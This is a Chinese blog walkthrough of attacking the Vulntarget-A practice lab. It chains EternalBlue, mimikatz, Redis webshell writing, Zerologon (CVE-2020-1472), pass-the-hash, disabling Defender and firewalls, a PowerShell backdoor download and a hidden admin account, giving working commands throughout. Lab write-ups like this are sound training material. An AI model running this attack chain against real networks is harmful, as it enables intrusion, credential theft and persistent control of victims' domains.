内网靶场渗透实战-Vulntarget-A

前言

靶机地址:Vulntarget 👋

网络拓扑:

image-20240822001242022

WIN 7外网地址:192.168.158.203

攻击机:192.168.112.147

公网主机:47.XX.X.XX

攻击机使用WIN11与WSL2 KALI (镜像网络,强烈推荐,各种代理确实方便)

image-20240902131412262

WIN 7

信息收集

用最低5000的速率扫描192.168.158.203全端口

1
sudo nmap -sT --min-rate 5000 -p- 192.168.158.203

image-20240902143707020

看到暴露的端口,我们心底需要对其重要性做一个排序,例如这里,首要攻击点肯定是80或者445

1
sudo nmap -sT -sV -sC -O -p80,135,139,445 192.168.158.203

image-20240902143738793

对端口做更详细的扫描,看到是WIN7的主机,并且暴露了445端口,那不经让我们想到 MS17-101,继续使用NMAP自带的漏洞扫描脚本,看看有没有低摘的果子

1
sudo nmap -sT --script=vuln -p80,135,138,445 192.168.158.203

image-20240902144433511

坐实了永恒之蓝,优先级肯定是比80端口高,直接用MSF打就行

永恒之蓝利用

同时注意到我们的靶机的IP为192.168.158.203,攻击机的IP为192.168.112.147,那这MSF肯定不能直接使用反向SHELL,因为不在一个网段,反弹不回来

解决办法暂时可以想到两点:

  1. 使用正向的payload,但是同时又有问题,假如靶机的防火墙开着(事实上也确实开着),那这个方法也不行,我们根本连接不到靶机的其他端口
  2. 使用公网主机当跳板机

Frpc配置文件:

将本机的4444端口,转发到公网主机的4445

本机6000->公网主机6000;本机8000->公网主机8000;本机9000->公网主机9000;

image-20240902150748030

Frps配置文件:

公网主机连接7000端口就行


开启msf,搜索search ms17-010

使用set exploit/windows/smb/ms17_010_eternalblue

image-20240902151352591

show options查看需要的参数

设置 RHOSTS、LHOST、LPORT

注意要将LHOST、LPORT设置刚刚Frp转发到的公网主机的IP和端口

image-20240902152047108

另外开一个MSF监听

加载监听模块 use exploit/multi/handler

设置反向payload set payload windows/x64/meterpreter/reverse_tcp

先run起来

image-20240902152725018

然后再run前面的攻击模块

可以参考这篇文章看我用内网MSF打公网永恒之蓝


看到是双网卡的机器

image-20240902153030789

没有杀软

image-20240902153300193

退出终端,加载mimikataz模块;抓一下密码,看到用户名是win7;密码是admin,并且不在域内

image-20240902153805343

run get_local_subnets查看本地网络连接子网段

添加一条动态路由run autoroute -s 10.0.20.0/24

看一下存活主机use post/windows/gather/arp_scanner

可以看到10.0.20.99这台机器

image-20240902160323058

WIN7上线CS

方式一:MSF会话注入CS

已经拿到meterpreter,可以直接利用MSF会话注入CS

使用payload_inject模块use exploit/windows/local/payload_inject

HOST设置成为公网主机地址,端口设置成刚刚FRP转发的端口6000

image-20240902154810047

sessions -l查看当前会话

我这里会话ID是1,直接使用,set disablepayloadhandler true不让MSF启动监听器

CS监听公网主机的地址和6000端口

image-20240902155253524

讲一下为什么这样设置,payload_inject模块LHOST如果设置成192.168.112.147,LPORT为4444的话,payload会试图直接连接到攻击机的地址和端口 (192.168.112.147:4444),这个连接肯定无法建立,因为 192.168.112.147 是一个私有 IP 地址,不可通过公网直接访问。当你设置 LHOST公网主机地址LPORT6000 时,payload 会连接到外网主机的 IP 和端口,通过 FRP,已经将攻击机的 6000 端口穿透到公网的 6000 端口。因此,靶机可以通过公网访问到这个地址,并成功上线到 CS。

方式二:上传后门

使用刚刚的监听器生成后门

image-20240902164242466

通过MSF上传文件命令 upload上传,execute执行

image-20240902164612977

通达OA利用

上面我们提到了80端口,看到是通达oa,通达历史上也爆过很多漏洞,GitHub很多开源的工具,直接梭哈

通达OA漏洞利用工具v1.6

Server 2016

信息收集

在上面查看一下存活主机的时候看到一个IP地址为10.0.20.99的机器

我们不能直接和10.0.20.99通信,WIN7可以,直接使用WIN7做一个socks代理

image-20240902172415420

修改proxychains的配置

image-20240902172556198

通过nmap扫描目标IP的常用端口

proxychains nmap -sT -Pn 10.0.20.99 -p22,23,80,139,445,1433,3306,3389,6379,8080

image-20240902172911362

对于扫描结果我们同样也是值得关注的,80与6379端口

6379端口如果是未授权访问或者是知道密钥的情况下的利用方式有:WEBSHELL、计划任务、写入SSH公钥等等

去看看80端口是什么东西,同样的,我们不能直接访问,还是利用刚刚的socks代理

image-20240902173010096

Proxifier是windows下面类似于proxychains的软件,由于我们WSL2是镜像网络,那Proxifier直接使用刚刚的socks端口即可;访问10.0.20.99我们看到是一个WEB页面

image-20240902173050266

直接dirsearch开扫,l.php和phpinfo.php都暴露了绝对路径

image-20240902195541700

Redis未授权利用

image-20240902200630990

根据前边80站点拿到的路径,通过redis-cli咱们直接写入webshell;

随后哥斯拉启动!

image-20240902200915404

Server2016上线CS

同样的两种方式:

  1. 因为我们已经上线了WIN7,那转发上线,用哥斯拉上传后门(这样需要关闭WIN7防火墙)
  2. 生成一个正向的监听器和后门,前面通过哥斯拉已经得到SHELL,用哥斯拉上传后门(这样需要关闭Server2016防火墙)

殊途同归,我这里使用转发上线

WIN7关闭防火墙命令

1
netsh advfirewall set allprofiles state off

建监听器

image-20240902201249415

使用刚刚的监听器创建后门

image-20240902202824986

哥斯拉上传并执行后门,CS上线一气呵成;

image-20240902203430848

域内信息收集

ipconfig /all一样的双网卡,在域内

image-20240902204434347

tasklist /svc显示当前系统中正在运行的所有进程及其关联的服务

image-20240902204319927
很好奇啊,有杀软为啥没有杀后门啊

关闭Windows Defender

1
2
3
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

gpupdate /force

quser显示当前登录到本地计算机或远程计算机上的用户信息

image-20240902204533451

netsh advfirewall show allprofiles查看一下防火墙

image-20240902204715493

可以看到 入站流量默认被阻止,出站流量默认被允许

手动关一下netSh advfirewall set allprofiles state off

通过端口扫描,发现了一台新的机器 10.0.10.110

image-20240902210716523

定位域控

image-20240902211239171

查找域控计算机名 net group "domain controllers" /domain

image-20240902211331701

从而得知,域控主机名字为 WIN2019,IP地址为10.0.10.110

Server 2019

同样的我们现在的socks代理是WIN7的,只能和Server2016通信,并不能直接通信域控主机,Server2016能和域控通信,我们通过Server2016建立socks代理

image-20240902211858834

proxychians改一下配置文件

image-20240902212352022

CVE-2020-1472

接着拿域控大杀器Zerologon漏洞打一下(CVE-2020-1472)

https://github.com/SecuraBV/CVE-2020-1472

image-20240902105142202

就可以看到是检测出来有漏洞的

利用https://github.com/dirkjanm/CVE-2020-1472先将密码置空

https://github.com/dirkjanm/CVE-2020-1472

image-20240902105814766

下载impacket工具包

https://github.com/fortra/impacket

利用impacket工具包中examples目录下的secretsdump.py获取hash值

得到了hashAdministrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::

image-20240902221722603

利用smbexex.pywmiexec.py横向移动,拿下域控

1
proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110

image-20240902222457300

1
2
netsh advfirewall show allprofiles # 查看防火墙配置(这里是乱码)
netSh advfirewall set allprofiles state off # 关闭防火墙

image-20240902222527659

上线CS

创建一个正向监听器

image-20240902222611366

使用刚刚创建的监听器,创建后门 (检查的时候发现这张图有问题,应该选择Windows Stageless Payload)

image-20240902222718394

因为Server2016有web服务,Server2016和2019能通信,直接上传后门

image-20240902223029810

Server2019下载后门powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.10.111/Z.exe','C:\Z.exe')

image-20240902223727949

Server2016 Beacon主动连接一下shell connect 10.0.10.110 4444

image-20240902223803004

远程桌面连接

设置一下SOCKS 代理

image-20240902212438602

开启远程登录,防火墙允许TCP通信3389

1
2
3
4
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

image-20240902225853099

密钥的话可以用刚刚获得Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::破解一下

或者添加一个管理员用户

1
2
3
4
# 添加用户
net user hack user123.com /add
# 添加到管理员组
net localgroup administrators hack /add

image-20240902225250187

image-20240902225526376

总结

这套靶机主要考验,正、反向连接之间与防火墙的关系;socks代理;比较知名的漏洞永恒之蓝、CVE-2020-1472的利用方式;以及一些内网常用的命令。

参考链接

看我用内网MSF打公网永恒之蓝


内网靶场渗透实战-Vulntarget-A
https://sp4rks3.github.io/2024/08/31/内网安全/内网靶场渗透实战-Vulntarget-A/
作者
Sp4rks3
发布于
2024年8月31日
许可协议